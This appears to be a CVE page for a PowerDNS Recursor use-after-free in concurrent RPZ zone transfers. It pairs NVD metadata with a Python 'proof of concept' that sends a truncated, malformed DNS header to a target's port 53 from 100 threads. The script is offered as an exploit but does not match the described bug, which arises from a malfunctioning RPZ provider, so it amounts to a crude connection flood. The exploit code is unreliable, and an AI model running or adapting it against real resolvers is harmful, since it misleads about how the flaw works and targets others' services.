CVE-2026-33259

import threading import socket # Proof of Concept for CVE-2026-33259 # This script attempts to trigger the race condition by sending concurrent requests. # Note: Actual exploitation requires a vulnerable PowerDNS Recursor and RPZ configuration. def send_concurrent_transfer(target_ip, target_port): try: # Create a socket connection to the target recursor with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(2) s.connect((target_ip, target_port)) # Simulate a DNS/TCP request header (simplified) # In a real exploit, this would be a crafted AXFR/IXFR query for the RPZ zone dns_header = b"\x00\x1e\x00\x00\x01\x00\x00\x00\x00\x00\x00" # Sending payload to trigger transfer logic s.sendall(dns_header) print(f"[+] Packet sent to {target_ip}") except Exception as e: print(f"[-] Error: {e}") def main(): target = "192.168.1.100" # Replace with actual target IP port = 53 threads = [] print("[*] Starting concurrent transfer simulation...") # Spawn multiple threads to simulate concurrent transfers for i in range(100): t = threading.Thread(target=send_concurrent_transfer, args=(target, port)) threads.append(t) t.start() for t in threads: t.join() print("[*] Simulation completed.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-33259", "sourceIdentifier": "[email protected]", "published": "2026-04-22T10:16:51.580", "lastModified": "2026-04-27T17:03:35.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Having many concurrent transfers of the same RPZ can lead to inconsistent RPZ data, use after free and/or a crash of the recursor. Normally concurrent transfers of the same RPZ zone can only occur with a malfunctioning RPZ provider."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0", "versionEndExcluding": "5.2.9", "matchCriteriaId": "EBDA7C62-FAD4-470C-A6FE-4CF19B0BD4AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3.0", "versionEndExcluding": "5.3.6", "matchCriteriaId": "9F7AC884-348F-47B1-8853-49BFEDBEA9EA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:5.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4B201BAD-5A74-45E9-91FD-5E950BA18BF3"}]}]}], "references": [{"url": "https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-powerdns-2026-03.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Broken Link"]}]}}